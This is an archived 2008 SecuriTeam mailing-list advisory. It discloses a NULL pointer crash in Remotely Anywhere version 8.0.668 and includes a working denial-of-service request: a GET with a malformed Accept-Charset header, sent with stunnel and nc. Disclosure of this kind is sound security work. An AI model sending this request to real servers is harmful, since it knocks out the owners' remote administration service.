

[NT] Remotely Anywhere NULL Pointer

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-03/msg00062.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 19 Mar 2008 08:21:28 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Remotely Anywhere NULL Pointer

SUMMARY

<<http://www.remotelyanywhere.com>> Remotely Anywhere is "a well known remote administration software". A vulnerability in Remotely Anywhere allows remote attackers to crash the product by sending it a malformed HTTP request.

DETAILS

Vulnerable Systems:

- * Remotely Anywhere Server and Workstation version 8.0.668

The RemotelyAnywhere.exe process (port 2000) can be easily crashed through a HTTP request with an invalid Accept-Charset parameter which leads to a NULL pointer.

The process will be restarted automatically within less than one minute by the management service so an attacker needs to send the malformed request at regular intervals for keeping the server down as much as he desires.

Exploit:
Send:

[NT] Remotely Anywhere NULL Pointer

GET / HTTP/1.1
Accept-Charset: boom

Using the following command line:
stunnel http_to_https.conf
nc 127.0.0.1 80 -v -v <remotelynowhere.txt

ADDITIONAL INFORMATION

The information has been provided by <<mailto:alugi@xxxxxxxxxxxxxx>> Luigi Auriemma.

The original article can be found at:
<<http://alugi.altervista.org/adv/remotelynowhere-adv.txt>>
<http://alugi.altervista.org/adv/remotelynowhere-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.